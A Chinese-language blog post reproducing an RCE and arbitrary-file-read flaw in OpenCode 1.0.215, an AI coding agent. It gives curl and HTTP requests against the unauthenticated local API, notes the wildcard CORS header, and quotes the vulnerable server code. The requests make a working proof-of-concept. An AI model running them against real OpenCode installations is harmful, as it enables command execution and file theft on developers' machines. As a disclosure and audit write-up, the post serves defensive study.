2026年1月17日
3 分钟阅读
By bx
OpenCode漏洞复现

OpenCode漏洞复现(GHSA-vxw4-wv6m-9hhh)

最近火爆的OpenCode,就是那个开源的Claude Code替代品,最近爆出了一个新的CVE漏洞。

漏洞概述

漏洞编号: GHSA-vxw4-wv6m-9hhh
影响版本: OpenCode 1.0.215及以下
漏洞类型: 远程命令执行(RCE) + 任意文件读取
危害等级: 严重

官方安全公告: https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh

环境搭建

我们这里采用1.0.215版本进行漏洞复现:

Terminal window
# 初始化项目
npm init -y
# 安装漏洞版本
npm i opencode-ai@1.0.215
# 启动服务
node_modules/.bin/opencode

不得不说,opencode的UI确实很好看 👍

OpenCode UI

漏洞复现

1. RCE (远程命令执行)

步骤1: 获取会话ID

首先通过无鉴权的接口创建会话:

Terminal window
curl -s -X POST http://127.0.0.1:4096/session -H "Content-Type: application/json" -d "{}"

响应结果:

{
"id":"ses_4386ff31fffeP7CTCc2oDn2mwu",
"version":"1.0.215",
"projectID":"global",
"directory":"C:\\Users\\bx336\\Documents\\skills\\cve",
"title":"New session - 2026-01-16T16:07:45.120Z",
"time":{
"created":1768579665120,
"updated":1768579665120
}
}

步骤2: 检查CORS配置

Terminal window
curl -I -X OPTIONS http://127.0.0.1:4096/session

响应头:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,HEAD,PUT,POST,DELETE,PATCH
Date: Fri, 16 Jan 2026 16:08:30 GMT
Content-Length: 0

可以看到 Access-Control-Allow-Origin: *,允许任意源访问,这为攻击提供了便利。

步骤3: 执行任意命令

使用获取到的会话ID执行系统命令:

POST /session/ses_4386ff31fffeP7CTCc2oDn2mwu/shell HTTP/1.1
Host: 127.0.0.1:4096
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 35
Connection: close
{"agent":"build","command":"whoami"}

命令执行结果

列出目录:

{"agent":"build","command":"ls"}

目录列表

2. 任意文件读取

OpenCode还存在任意文件读取漏洞,攻击者可以读取服务器上的任意文件:

GET /file/content?path=package.json HTTP/1.1
Host: 127.0.0.1:4096
User-Agent: curl/7.88.1
Accept: */*
Connection: close

响应结果:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json
Date: Fri, 16 Jan 2026 16:21:53 GMT
Content-Length: 95
{"type":"text","content":"{\n \"dependencies\": {\n \"opencode-ai\": \"^1.0.215\"\n }\n}"}

代码审计分析

纵观整个代码,核心问题就是没有对用户输入进行任何限制和处理

RCE 漏洞链路分析

环节代码位置说明
路由入口packages/opencode/src/server/server.ts:1407/session/:sessionID/shell 仅参数校验,无鉴权中间件
调用链packages/opencode/src/server/server.ts:1434直接调用 SessionPrompt.shell
命令输入packages/opencode/src/session/prompt.ts:1046ShellInput.command 定义为 string
进程启动packages/opencode/src/session/prompt.ts:1181直接使用 spawn(shell, args, ...) 执行命令

1. 路由入口(未鉴权)

文件: packages/opencode/src/server/server.ts:1407

.post(
"/session/:sessionID/shell",
describeRoute({ summary: "Run shell command" }),
validator("param", z.object({ sessionID: z.string() })),
validator("json", SessionPrompt.ShellInput.omit({ sessionID: true })),
async (c) => {
const sessionID = c.req.valid("param").sessionID
const body = c.req.valid("json")
const msg = await SessionPrompt.shell({ ...body, sessionID })
return c.json(msg)
},
)

问题分析:

  • ❌ 没有任何身份验证机制
  • ❌ 没有访问控制检查
  • ❌ 直接接收并处理用户输入

2. 命令输入定义

文件: packages/opencode/src/session/prompt.ts:1046

export const ShellInput = z.object({
sessionID: Identifier.schema("session"),
agent: z.string(),
model: z.object({ providerID: z.string(), modelID: z.string() }).optional(),
command: z.string(),
})

问题分析:

  • 使用 zod 库定义了 ShellInput 的结构
  • command: z.string() 仅保证输入是字符串
  • 没有对字符串内容进行任何过滤或验证

3. 命令执行

文件: packages/opencode/src/session/prompt.ts:1181

const matchingInvocation = invocations[shellName] ?? invocations[""]
const args = matchingInvocation?.args
const proc = spawn(shell, args, {
cwd: Instance.directory,
detached: process.platform !== "win32",
stdio: ["ignore", "pipe", "pipe"],
env: { ...process.env, TERM: "dumb" },
})

问题分析:

  • 代码使用 Node.js 的 child_process.spawn 启动进程
  • 命令在 Instance.directory 目录下运行
  • 用户输入的命令直接被执行,没有任何安全检查
  • 继承了父进程的环境变量

参考资料: